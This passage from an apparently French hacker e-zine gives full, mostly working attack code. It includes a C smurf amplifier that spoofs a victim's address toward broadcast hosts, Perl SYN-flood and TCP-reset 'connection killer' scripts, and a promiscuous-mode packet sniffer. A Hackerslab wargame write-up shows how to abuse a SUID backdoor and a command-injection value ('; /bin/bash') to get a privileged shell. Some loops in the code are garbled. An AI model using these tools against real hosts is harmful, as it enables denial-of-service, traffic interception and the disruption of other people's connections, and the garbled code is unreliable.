va peut être falloir penser à coder le smurfer. Here we are ! Donc qui ne sait pas manipuler les sockets en C ? Petit rappel rapide ... Un socket est une API permettant la communcation entre deux processus et se déclare ainsi: ssocket=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP); Elle prend donc 3 arguments : o Domain: Le domain de la socket, respectivement: - AF_INET: Internet - AF_UNIX: Communication inter-processus. o Type: Manière avec laquelle la socket va interpréter ses données, à chaque mode une valeur: - Mode connecté: SOCK_STREAM - Mode non connecté: SOCK_DGRAM - Direct Protocole: SOCK_RAW (Pour forger nos paquets manuellement) o Protocol: Définit le protocole de la socket. - 0: Le système choisira le protocole à votre place, ne fonctionne pas en raw socket. - IPPROTO_UDP: Protocole UDP. - IPPROTO_TCP: Protocole TCP. - IPPROTO_ICMP: Protocole ICMP. ... addrsocket.sin_port=htons(random()); On fait donc appel à une structure pour initialiser le port: struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; }; sin_family: Famille d'adressage de la socket (AF_INET, AF_UNIX...) sin_port: Le port au format réseau. sin_addr: L'adresse IP auquel la socket va se connecter. La socket va donc se connecter à une socket distante, il lui faut donc définir un port au préalable ; ici le port est aléatoire. Ensuite, elle poursuit la connection comme suit: source=gethostbyname(fa) // On vérifie que l'host est reachable. bzero(&addrsocket, sizeof(addrsocket)); // Mémoire remplie de chtits 0 ! addrsocket.sin_addr=*(struct in_addr*)source->h_addr; // On pointe sur h_addr, //élément de la structure //hostent, représentant //l'adresse source. [ structure hostent ] struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_lenght; char **h_addr_list; }; h_name: HOST_NAME. String représentant le nom de la machine. h_aliases: Tableau de chars représentant les alias de la machine. h_addrtype: Type d'adresse de l'hôte distant (IPv4 ou IPv6). h_lenght: Longueur de l'adresse. h_addr_list: Encore un tableau contenant les adresses de l'hôte. Puis on se connecte en prenant pour argument nos acquis déclarés précedemment : connect(ssocket,(struct sockaddr*)&addrsocket, sizeof addrsocket) o ssocket: Le nom de notre socket. o (struct sockaddr*)&addrsocket: Pointeur vers la structure sockaddr, l'adresse de notre socket. o sizeof(addrsocket): Taille de la structure sockaddr. Donc, normalement vous savez connecter une socket avec succès. On va pouvoir passer à la programmation de nos différentes fonctions. 2) Déclaration des variables : ______________________________ char *sprotocol; // Pointeur protocole char *sa; // char *da; // int nbrPaquets, listening=0, optval, nb=0; struct hostent *source; // Pointeur sur l'adresse source (victime) struct hostent *cible; // Pointeur sur l'adresse broadcast struct sockaddr_in false; // Déclaration de la structure false (adresse socket victime) struct sockaddr_in dest; // Déclaration de la structure dest (adresse socket broadcast) struct icmphdr *icmp; // Pointeur sur la structure icmphdr struct iphdr *ip; // Pointeur sur la structure iphdr char *packet, *buffer; 3) Fonctions : ______________ [ dhosts ] Cette fonction prend en arguments deux pointeurs ramenant aux noms des hôtes : o *fa: Pour l'hôte source (adresse spoofé pointant sur la victime). o *fb: Pour l'adresse du broadcast. int dhosts(char *fa, char *fd) { if ((source=gethostbyname(fa))==NULL){ // On vérifie la présence de la victime perror("Hote source invalide"); exit(1); } else { // Sinon on pointe sur l'adresse source bzero(&false, sizeof(false)); false.sin_addr=*(struct in_addr*)source->h_addr; } if ((cible=gethostbyname(fd))==NULL){ // On vérifie la présence du broadcast perror("Broadcast invalide"); exit(1); } else { bzero(&dest, sizeof(dest)); dest.sin_family=AF_INET; dest.sin_port=htons(random()); dest.sin_addr=*(struct in_addr*)cible->h_addr; // Sinon, là encore, on pointe sur l'adresse source } return 0; } [ bicmp ] On entre dans le vif du sujet. Cette fonction prend en arguments tous les champs de l'header icmp, puisqu'elle va s'en servir pour le créer. char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk) { // Allocation dynamique de mémoire ip = (struct iphdr *) malloc(sizeof(struct iphdr)); icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr)); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); ip = (struct iphdr *) packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); ip->ihl = sihl; // Longeur de l'header IP ip->version = sversion; // Version de l'IP ip->tos = stos; // Type de service ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); // Longueur total du paquet ip->id = htons(getuid()); // Identification du paquet ip->ttl = sttl; // Time To Live, nombre d'hops restant au paquet ip->protocol = IPPROTO_ICMP; // Protocole utilisé, ici, ICMP ip->saddr = false.sin_addr.s_addr; // Adresse source (victime) ip->daddr = dest.sin_addr.s_addr; // Adresse broadcast icmp->type = ICMP_ECHO; // Champ type de l'header icmp, ici ECHO, donc type 0 icmp->code = scode; icmp->un.echo.id = sechoi; icmp->un.echo.sequence = ssek; // numéro de séquence icmp->checksum = schk; // Sommes de contôle icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr)); ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); return (packet); } [ ismurf ] L'header forgé, il faut dorénavant créer une boucle d'envoie de requètes vers le(s) broadcasts.. Pourquoi sommes-nous si méchants ? Niark niark niark.. int ismurf(char *ia, char *id, int paquets, int slisten, int broads) { // Déclaratin des variables int j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek; int dchk, sock, optval, pfailed=0, psucceed=0; char *buf; char *spaquet; // Récupération des différentes valeurs ultérieurement placées dans // les champs de notre header. L'utilisateur remplit donc manuellement // chaque champ, ce qui empèche certains kiddies puérils et sans sens // moral d'utiliser ce programme. printf("IP ILH(5): "); scanf(" %d", &dihl); printf("IP VERSION(4): "); scanf(" %d", &dversion); printf("IP TOS(0): "); scanf(" %d", &dtos); printf("IP TTL(255): "); scanf(" %d", &dttl); printf("ICMP CODE(1): "); scanf(" %d", &dcode); printf("ICMP ECHO.ID(0): "); scanf(" %d", &dechoi); printf("ICMP ECHO.SEQUENCE(0): "); scanf(" %d", &dsek); printf("ICMP CHECKSUM(0): "); scanf(" %d", &dchk); // L'utilisateur est invité à rentrer l'adresse du broadcast après // chaque boucle, l'idéal serait de lire les adresses dans un fichier, // ce qui serait plus rapide. for(j=0;jtot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0) { printf("Erreur lors de l'envoie des paquets!\n"); pfailed++; } else { printf("Données envoyées!\n"); psucceed++; } } close(sock); } // Statistiques, just for fun ;-) printf("\nStatistiques:\n"); printf("Adresse source: %s.\n", ia); printf("Nombre de broadcasts: %d.\n", broads); printf("Nombres de paquets à envoyés par broad.: %d.\n", paquets); printf("Nombres de paquets envoyés total: %d.\n", paquets*broads); printf("Nombres de paquets correctement envoyés: %d.\n", psucceed); printf("Nombres de paquets perdus: %d.\n", pfailed); if(slisten!=1) { return 0; } // Fonction listening if (slisten==1) { if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0) { printf("Received the ECHO REPLY!\n"); return 0; } else { printf("Erreur, aucune réception.\n"); return 0; } } close(sock); return 0; } [ main ] Et enfin la fonction principale qui nous permet de récupérer les arguments entrés par l'utilisateur. int main(int argc, char *argv[]) { if (argc < 2) { printf("\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n"); printf(" [Présentation des arguments] \n\n"); printf("usage: ./smurf -s -n -l\n\n"); printf("-s: l'adresse falsifiée.\n"); printf("-n: le nombre de paquets à envoyer.\n"); printf("-b: le nombre de serveurs broadcasts.\n"); printf("-l: listening, attend un réponse pour paquets icmp envoyés.\n"); printf("www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n"); exit(-1); } else { while( (argc > 1) && (argv[1][0]=='-')) { switch(argv[1][1]) { case 's': // adresse victime sa=&argv[1][2]; break; case 'n': // Nombre de paquets a envoyé nbrPaquets=atoi(&argv[1][2]); break; case 'l': // L'utilisateur peut ne vouloir que vérifier la présence d'une machine // sur un réseau en envoyant un ping, alors le smurfer passera en listening listening=1; break; case 'b': // Nombre de serveurs broadcasts utilisés nb=atoi(&argv[1][2]); if(nb==0) { printf("Le nombre de serveurs ne peut être nul.\n"); exit(-1); } break; } --argc; ++argv; } } // Appel de la fonction ismurf ismurf(sa, da, nbrPaquets, listening, nb); return 0; } V. Code source : ________________ ------------8<----------------------------------------------------------------------- /******************************************/ /* Ssmurf By Li0n7 */ /* contactez-moi: killer.kil@voila.fr */ /* http://www.rndghost.com */ /* ICMP SMURFER - ICMP SPOOFER */ /* Copyright Li0n7 - Tous droits réservés */ /******************************************/ #include #include #include #include #include #include #include #include char *sprotocol; char *sa; char *da; int nbrPaquets, listening=0, optval, nb=0; struct hostent *source; struct hostent *cible; struct sockaddr_in false; struct sockaddr_in dest; struct icmphdr *icmp; struct iphdr *ip; char *packet, *buffer; unsigned short in_cksum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } int dhosts(char *fa, char *fd) { if ((source=gethostbyname(fa))==NULL) { perror("Hote source invalide"); } else { bzero(&false, sizeof(false)); false.sin_addr=*(struct in_addr*)source->h_addr; } if ((cible=gethostbyname(fd))==NULL) { perror("Broadcast invalide"); } else { bzero(&dest, sizeof(dest)); dest.sin_family=AF_INET; dest.sin_port=htons(random()); dest.sin_addr=*(struct in_addr*)cible->h_addr; } return 0; } char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk) { ip = (struct iphdr *) malloc(sizeof(struct iphdr)); icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr)); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); ip = (struct iphdr *) packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); ip->ihl = sihl; ip->version = sversion; ip->tos = stos; ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); ip->id = htons(getuid()); ip->ttl = sttl; ip->protocol = IPPROTO_ICMP; ip->saddr = false.sin_addr.s_addr; ip->daddr = dest.sin_addr.s_addr; icmp->type = ICMP_ECHO; icmp->code = scode; icmp->un.echo.id = sechoi; icmp->un.echo.sequence = ssek; icmp->checksum = schk; icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr)); ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); return (packet); } int ismurf(char *ia, char *id, int paquets, int slisten, int broads) { int j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk, sock, optval, pfailed=0, psucceed=0; char *buf; char *spaquet; printf("IP ILH(5): "); scanf(" %d", &dihl); printf("IP VERSION(4): "); scanf(" %d", &dversion); printf("IP TOS(0): "); scanf(" %d", &dtos); printf("IP TTL(255): "); scanf(" %d", &dttl); printf("ICMP CODE(1): "); scanf(" %d", &dcode); printf("ICMP ECHO.ID(0): "); scanf(" %d", &dechoi); printf("ICMP ECHO.SEQUENCE(0): "); scanf(" %d", &dsek); printf("ICMP CHECKSUM(0): "); scanf(" %d", &dchk); for(j=0;jtot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0) { printf("Erreur lors de l'envoie des paquets!\n"); pfailed++; } else { printf("Données envoyées!\n"); psucceed++; } } close(sock); } printf("\nStatistiques:\n"); printf("Adresse source: %s.\n", ia); printf("Nombre de broadcasts: %d.\n", broads); printf("Nombres de paquets à envoyés par broad.: %d.\n", paquets); printf("Nombres de paquets envoyés total: %d.\n", paquets*broads); printf("Nombres de paquets correctement envoyés: %d.\n", psucceed); printf("Nombres de paquets perdus: %d.\n", pfailed); if(slisten!=1) { return 0; } if (slisten==1) { if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0) { printf("Received the ECHO REPLY!\n"); return 0; } else { printf("Erreur, aucune réception.\n"); return 0; } } close(sock); return 0; } int main(int argc, char *argv[]) { if (argc < 2) { printf("\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n"); printf(" [Présentation des arguments] \n\n"); printf("usage: ./smurf -s -n -l\n\n"); printf("-s: l'adresse falsifiée.\n"); printf("-n: le nombre de paquets à envoyer.\n"); printf("-b: le nombre de serveurs broadcasts.\n"); printf("-l: listening, attend un réponse pour paquets icmp envoyés.\n"); printf("www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n"); exit(-1); } else { while( (argc > 1) && (argv[1][0]=='-')) { switch(argv[1][1]) { case 's': sa=&argv[1][2]; break; case 'n': nbrPaquets=atoi(&argv[1][2]); break; case 'l': listening=1; break; case 'b': nb=atoi(&argv[1][2]); if(nb==0) { printf("Le nombre de serveurs ne peut être nul.\n"); exit(-1); } break; } --argc; ++argv; } } ismurf(sa, da, nbrPaquets, listening, nb); return 0; } ------------8<----------------------------------------------------------------------- Pour compiler: $ gcc -o smurf smurf.c usage: ./smurf -s[SPOOFED_IP] -n[NBR PAQUETS] -l -s[SPOOFED_IP]: l'adresse falsifiée. -n[NBR_PAQUETS]: le nombre de paquets à envoyer. -b[NBR_SERVEURS]: le nombre de serveurs broadcasts. -l: listening, attend un réponse pour paquets icmp. [ Conclusion ] Programme publié à but purement indicatif et explicatif. Besoin d'aide? Commentaires? Insultes? - killer.kil@voila.fr -EOF --------------------------------------------------------------------------------------- VII. Network Perl Coding Jackniels --------------------------------------------------------------------------------------- [ Introduction ] Ce texte a pour vocation de présenter les diverses possiblités qu'offre le module perl Net::RawIP en matiere de programmation reseau. Ce module est telechargeable ici : http://www.ic.al.lg.ua/~ksv/Net-RawIP-0.09d.tar.gz Pour faire simple, on va dire qu'il permet d'interagir sur les paquets a bas niveau. Plutot que de me lancer dans un cours theorique, je vais tenter de vous en expliquer le fonctionnement a travers trois exemples : un syn-flooder, un sniffer, et enfin un "tueur" de connection. I. Un syn-flooder : ___________________ Je ne vais pas vous faire l'affront de vous expliquer ce qu'est un syn-floodeur. L'utilite d'un tel programme est bien sur tres proche de zero... $ cat > synflooder #!/usr/bin/perl use Net::RawIP qw(:pcap); $ipdest=$ARGV[0]; $portdest=$ARGV[1]; $ipsrc="1.2.3.4"; $a = new Net::RawIP; $a->set({ ip =>{ saddr=>$ipsrc, daddr=>$ipdest }, tcp => { dest => $portdest, syn => '1', rst => '0', ack => '0', psh => '0', fin => '0' } }); while(1){ $a->send(); } $ chmod 777 synflooder $ ./synflooder 128.242.103.21 80 -> la, ca envoit la puree... aucun interet :-) Je me vois mal commenter ce code source, c'est clair comme de l'eau de roche, non ? II. Un sniffer : ________________ C'est nettement plus interessant. Cet exemple montre tres simplement comment on peut acceder a tous les champs du protocole ip et tcp d'un paquet sniffé. $ cat > sniffer #!/usr/bin/perl use Net::RawIP qw(:pcap); use Socket; $dev="eth0"; $ip_addr=${ifaddrlist()}{$dev}; $rule=$ARGV[0]; $a = new Net::RawIP; $pcap=$a->pcapinit($dev,$rule,1500,30); $offset=linkoffset($pcap); loop $pcap,-1,\&sniff,\@a; sub sniff { $a->bset(substr($_[2],$offset)); my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr, $daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg, $ack,$psh,$rst,$syn,$fin,$win,$chk,$data) = $a->get({ ip=>['version','ihl','tos','tot_len','id','frag_off', 'ttl','protocol','check','saddr','daddr'], tcp=>[ 'source','dest','seq','ack_seq','doff','res1', 'res2','urg','ack','psh','rst','syn','fin', 'window','check','data'] }); if ($pro=~/\S/) { $saddr=inet_ntoa(pack("N",$saddr)); $daddr=inet_ntoa(pack("N",$daddr)); print $saddr."<".$sport."> ---> ".$daddr."<".$dport.">\n"; } } $ chmod 777 sniffer $ ./sniffer "tcp and src 128.242.103" Deux trois commentaires : o $dev contient le nom de l'interface reseau, o $ip_addr recupere l'ip associee a $dev, o $rule est une regle de filtrage avec une synthaxe "à la tcpdump". On recupere dans les variables $id, $ttl, $pro ... pas mal d'infos sur le paquet, libre a nous de les utiliser. Dans cet exemple, je ne fais qu'afficher des infos sur les ip et les numeros de port. III. Un "tueur" de connection : _______________________________ On a vu dans le premier exemple, la methode set, puis dans le second, la methode get. Ce present exemple va être en quelque sorte une mise en application de ces deux methodes. Le principe est simple : l'attaquant sniffe les paquets transitant sur le réseau local (au besoin un petit coup d'arpspoofing). Dés qu'il détècte un paquet avec l'ip source de la cible, il repond un "reset" avec l'ip spoofée de la destination du paquet. $ cat > kill #!/usr/bin/perl use Net::RawIP; use Socket; $a=new Net::RawIP; $b=new Net::RawIP; $dev="eth0"; $rule="tcp and src host ".$net; $pcap=$a->pcapinit($dev,$rule,1500,30); loop $pcap,-1,\&rstconnect,\@a; sub rstconnect { $a->bset(substr($_[2],14)); my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr, $daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg, $ack,$psh,$rst,$syn,$fin,$win,$chk,$data) = $a->get({ ip=>['version','ihl','tos','tot_len','id','frag_off', 'ttl','protocol','check','saddr','daddr'], tcp=>[ 'source','dest','seq','ack_seq','doff','res1', 'res2','urg','ack','psh','rst','syn','fin', 'window','check','data'] }); if ($pro=~/\S/) { $b->set({ ip =>{ saddr=>$daddr, daddr=>$saddr }, tcp => { dest => $sport, source => $dport, rst => '1', ack => '0', psh => '1', fin => '0', seq => $aseq, ack_seq => 0, window => 0, } }); $b->send(); } $saddr=inet_ntoa(pack("N",$saddr)); $daddr=inet_ntoa(pack("N",$daddr)); print $saddr."<".$sport.">"."->".$daddr."<".$dport.">"." KILLED\n"; } $ chmod 777 kill $ ./kill iptarget (iptarget, c'est l'ip du mec qui fait chier son monde a gagner tout le temps a CS :))) Bon, que se passe-t'il ici ? On definit comme regle de filtrage : $rule="tcp and src host ".$net; C'est a dire qu'on ne regarde que les paquets avec comme ip source l'ip cible. Ensuite, on envoit un paquet avec le flag rst a 1 avec le bon numero de sequence (seq => $aseq), le tout avec l'ip spoofée de la destination originelle du paquet. C'est radical, la connection est coupée nette. [ Conclusion ] Comme vous avez pu le constater, il est tres simple de faire des protos en perl avec ce module. Pour information, Net::RawIP n'est pas le seul module a faire ce genre de chose ... Il existe notamment NetPacket, Net-Pcap, Net-PcapUtils... Ces modules sont plus recents et pour certains la synthaxe est plus claire. Quoiqu'il en soit, essayez-les et vous verrez bien vers lesquels vont vos preferences. --------------------------------------------------------------------------------------- VIII. Challenge Hackerslab, Présentation & solution (Part. 1) MeiK --------------------------------------------------------------------------------------- [ Introduction ] Cet article n'est que le début d'un document qui va paraître très bientôt sur mon tout nouveau site (qui ouvrira dans le courant de la semaine du 21 Juillet 2002). Ici je ne vais mettre que les solutions des deux premiers niveaux. Pour les autres niveaux, attendez une petite semaine et visitez mon site. [ Pour commençer ] Vous devrez tout d'abord créer un compte sur le site www.hackerslab.org, ceci est utilisé pour vous indiquer où vous en êtes et vous afficher sur le classement si vous finissez. Pour ça vous allez dans "Free hacking Zone" puis il doit certainement y avoir un truc dans le genre "register" ou "sign up". Une fois que votre compte est créé, vous allez dans "View problems", et vous aurez votre énigme qui sera présentée, avec une petite astuce pour la résoudre. Le login et le mot de passe correspondants au niveau où vous êtes sont affichés. Pour aller au tout premier niveau du challenge (Level0) je vous conseille de passer par l'applet Java (avec marqué "Let's go drill" dedans). Si votre navigateur ne supporte pas le java, l'adresse du serveur est drill.hackerslab.org, utilsez telnet. Note de Neofox : Vous ne trouverez ici pour l'instant que les solutions des niveaux 0 et 1, non pas de nous ne soyons allés plus loin, MeiK et moi-même sommes actuellement au niveau 10, mais plutôt pour une question d'organisation ; la décision de faire cet article a été prise à la dernière minute. Par ailleurs, nous faisons appel à vôtre bon sens, vous qui n'avez pas encore attaqué ce challenge ; n'utilisez pas ce texte pour tricher et passer au niveaux supérieurs, ce n'est pas dans vôtre interêt, d'autant plus que les premiers sont trés simples. --=={NIVEAU 0}==-- Bon, le tout premier niveau que vous aurez à passer. Voici ce que vous disent les bonhommes de Hackerslab pour vous aider : It' s to good thing that someone was nice enough to install to backdoor. Your task Is to use this backdoor to get to the next level. First, telnet to drill.hackerslab.org. HINT: Check device drivers Je ne vais pas traduire dans cet article, car je n'en vois pas le but. C'est de 'anglais vraiment basique, un gamin en classe de 6e pourrait traduire. Bon, donc vous vous connectez sur drill.hackerslab.org et mettez level0/guest comme login/password. Donc, je vous conseille de savoir ce qu'est une backdoor, sinon vous n'irez pas plus loin dans ce challenge je pense. Beaucoup de backdoors sont par exemple des ports ouverts avec un shell qui écoute dessus, un shell script avec le bit SUID ... dans cet exemple, on vous dit que la backdoor est dans /dev (si vous savez vous servir d'UNIX, vous savez que /dev contient tous les périphériques). Donc, immédiatement vous allez dans /dev et vous vous mettez à chercher un fichier avec le bit SUID. Voici la commande : [level0@drill level0]$ find / -perm + 4000 2>/dev/null Et il vous sort les fichiers suivants : /dev/.hi /etc/bof /tmp/sh /bin/su /home/nobody/.ssh2/.nobody /home/nobody/.Xsegments /lib/security/pam_auth.so /usr/bin/passwd /usr/bin/amos /usr/bin/alert /usr/bin/ps2 /usr/games/trojka /usr/local/bin/hof /usr/man/pt_BR/man8/today /usr/sbin/sendmail /usr/libexec/pt_chown Bon, tous ces fichiers sont SUID. Cool. La solution est quelque part là dedans. Vous avez deux choix, soit vous essayez les fichiers un par un et regardez si vous êtes toujours level0 ou êtes passés level1, soit vous cherchez LE fichier qui a comme proprio un utilisateur level1, et comme groupe, level0. Vous cherchez et remarquez qu'un fichier a ces caractéristiques. Ce fichier s'appelle .hi . Vous l'exécutez : /dev/.hi Vous regardez qui vous êtes whoami level1 Vous constatez que vous n'êtes plus level0, mais level1. Ensuite, le but est de pouvoir exécuter /bin/pass. Là vous l'exécutez et vous avez une gentille voix ... ha non merde, juste un message, qui vous dit que le mot de passe pour le niveau suivant est 'newworld'. --=={Level1}==-- Avant de vous connecter à drill.hackerslab.org avec les login/pass level1/newworld, allez jeter un oeil au problème posé : The computer student named Matthew is doing his C-programming homework. His teacher wanted him to you create you to program/script that if there I am types in to path name The program gives him what type of file/drectory it is. There I am was able to get it Easily by using the file utility in the Unix-based commands. However, the Flaw lies in this solution. Use this flaw and go on to the next level. HINT: One of 12 books known ace the Minor prophets. Vous devez donc, comme toujours, trouver le programme qui vous aidera à passer au niveau suivant. Vous cherchez donc un programme du groupe level1 avec le propriétaire level2. Vous devrez trouver ça en théorie : -rwsr-x--- 1 level2 level1 13423 Apr 6 2000 /usr/bin/amos Et en plus, ce fichier porte bien le nom d'un prophète (je ne sais pas lequel, mais ça me dit quelque chose en tout cas =). Ensuite, sous UNIX, il y a une technique qui permet d'enchaîner deux commandes (en Perl aussi). Il suffit de mettre un point virgule (;) entre les deux commandes. Ce programme (amos) vous permet, si vous exploitez son statut de level2, d'exécuter n'importe quel programme en tant que level2. Ce que vous faîtes donc : [level1@drill level1]$ cd /usr/bin [level1@drill bin]$ ./amos PATH: /etc ; /bin/bash Et là, vous obtenez un shell en tant que level2 et vous pouvez ensuite exécuter /bin/pass. Mais pour gagner 5 secondes, faîtes plutôt : ./amos PATH: /etc ; /bin/pass Vous obtenez donc le password vous menant au niveau 2 ! [ Conclustion ] Vous découvrirez la suite la semaine prochaine sur mon site. Nous vous tiendrons de la réouverture de ce dernier par le biais du site du groupe. ---------------------------------------------------------------------------------------------- IX. Programmation d'un sniffer Li0n7 ---------------------------------------------------------------------------------------------- [ Introduction ] Qu'est-ce qu'un sniffer? Ils tirent leur nom du premier outil de capture du trafic réseau Sniffer Pro de Network Associates. En effet, un sniffer se contente d'analyser les différentes trames traversant le réseau pour les afficher en clair sur l'écran de l'attaquant. Pour cela, il va exploiter le mode promiscuous de la carte réseau, et ainsi visualiser le trafic réseau. Il faut savoir que tout hôte reçoit des trames et les analyse celon leur adresse MAC destinataire, ainsi il peut les ignorer ou non. L'inferface promiscuous contourne la pile TCP/IP de l'OS en laissant alors passer tous les paquets de la couche liason à l'application. La plus part des attaquants qui utilisent ce type de programme cherchent à récupérer des informations liées à l'authentification (tout protocole compris), ou d'autres types d'informations sensibles (qu'elles soient cryptés ou non). Analyse d'un analyseur ... ++++ | Partie 1 : Programmation | ++++ => Ovrir l'interface réseau => Lire les paquets => Point d'entrée Il y a plusieurs façons de programmer un sniffer. Une librairie, la lippcap est disponible à cet effet, elle inclue de nombreuses fonctions utiles destinés à simplifier la capture et la gestion des trames réseaux et interfaces réseaux. Deuxième méthode, utilisation des raw sockets, programmation socket brute, et récupération brute des trames. Nous n'allons pas exploiter la libraire pcap, du fait qu'elle est trop connue, trop utilisée, et cela ne présenterait donc aucun intérêt. Nous allons ainsi utiliser les librairies que linux nous propose par défaut, ce dernier se contente de nous fournir une interface avec la couche de liaison via son interface socket. I. Ouvrir l'interface réseau : ______________________________ Commençons par ouvrir notre interface réseau (eth0 par exemple). Cette fonction prend pour argument le nom de l'interface, passé en paramètre, entrée par l'utilisateur. int ouvre_interface(char *name) { struct sockaddr addr; /* déclaration de notre structure générique d'adressage */ struct ifreq ifr; /* structure de manipulation des trames */ int sockfd; /* déclaration de notre socket */ sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); /* définition de notre socket*/ if(sockfd<0) return -1; memset(&addr, 0, sizeof(addr)); /* on remplit de 0 le ptr addr */ addr.sa_family=AF_INET; strncpy(addr.sa_data, name, sizeof(addr.sa_data)); /* on bind via notre socket sockfd, et ainsi on "écoute" */ /* les trames réseaux circulant */ if(bind(sockfd, &addr, sizeof(addr)) !=0 ){ close(sockfd); return -1; } memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); /* le point d'entrée ioctl permet l'éxécutions d'opérations particulières */ /* sur des périphériques autres que lectures/ écriture, ici nous accèdons */ /* aux fonctions de notre socket */ if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){ close(sockfd); return -1; } /* si l'interface n'est pas ethernet alors on quitte */ if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER){ close(sockfd); return -1; } /* accès aux options des sockets */ memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0) { close(sockfd); return -1; } ifr.ifr_flags |= IFF_PROMISC; if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) { close(sockfd); return -1; } return sockfd; } 2. Lire les paquets : _____________________ On va donc créer une boucle de lecture des paquets reçus. A chaque trame analysée, l'adresse MAC source et destinataire est affichée, ainsi que le type du paquet. Cette fonction prend donc en argument notre socket crée antérieurement. Nous allons nous servir de la structure ether_header: struct ether_header { u_char ether_dhost[6]; //adresse destination u_char ether_shost[6]; //adresse source u_short ether_type; //type de trame } int read_loop(sockfd) { /* structure d'adressage */ struct sockaddr_in from; /* déclaration des variables */ char buf[1792], *ptr; /* déclaration des integers */ int size, fromlen, c; /* déclaration de notre structure permettant */ /* de lire les entêtes ethernet */ struct ether_header *hdr; while(1){ /* la variable size contiendra les paquets reçus */ size = recv(sockfd, buf, sizeof(buf),0); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; hdr=(struct ether_header *)buf; /* pour chaque paquet on affiche l'adresse ** MAC source et l'adresse Mac de destination **/ for(c=0; c < ETH_ALEN; c++){ printf("%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]); printf(" > "); for(c=0; c < ETH_ALEN; c++) printf("%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]); /* puis enfin le type de paquet */ printf(" type: %i\n",hdr->ether_type); } printf("Nombre de paquets sniffés: %d\n", c); } 3. Point d'entrée : ___________________ Pour finir, la fonction principale qui récupère l'interface réseau passée en argument : int main(int argc, char **argv) { /* notre socket */ int sockfd; /* variable contenant l'interface */ /* passé en argument */ char *name=argv[1]; if(!argv[1]){ fprintf(stderr, "Veuillez entrer une interface valide\n"); return -1; } /* on lance la fonction d'initialisation de l'interface, */ /* en cas d'erreur on quitte */ if((sockfd = ouvre_interface(name))<0){ fprintf(stderr, "Erreur lors de l'ouverture de l'interface\n"); return -1; } /* on lit les paquets, en cas d'erreur on quitte */ if(read_loop(sockfd) < 0){ fprintf(stderr, "Erreur lors de la lecture des paquets\n"); return -1; } return 0; } ++++ | Partie 2 : Code source | ++++ ------------8<----------------------------------------------------------------------- #include #include #include #include #include #include #include #include #include int ouvre_interface(char *name) { struct sockaddr addr; struct ifreq ifr; int sockfd; sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); if(sockfd<0) return -1; memset(&addr, 0, sizeof(addr)); addr.sa_family=AF_INET; strncpy(addr.sa_data, name, sizeof(addr.sa_data)); if(bind(sockfd, &addr, sizeof(addr)) !=0 ){ close(sockfd); return -1; } memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){ close(sockfd); return -1; } if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) { close(sockfd); return -1; } memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0) { close(sockfd); return -1; } ifr.ifr_flags |= IFF_PROMISC; if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) { close(sockfd); return -1; } return sockfd; } int read_loop(sockfd) { struct sockaddr_in from; char buf[1792], *ptr; int size, fromlen, c; struct ether_header *hdr; while(1){ size = recv(sockfd, buf, sizeof(buf),0); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; 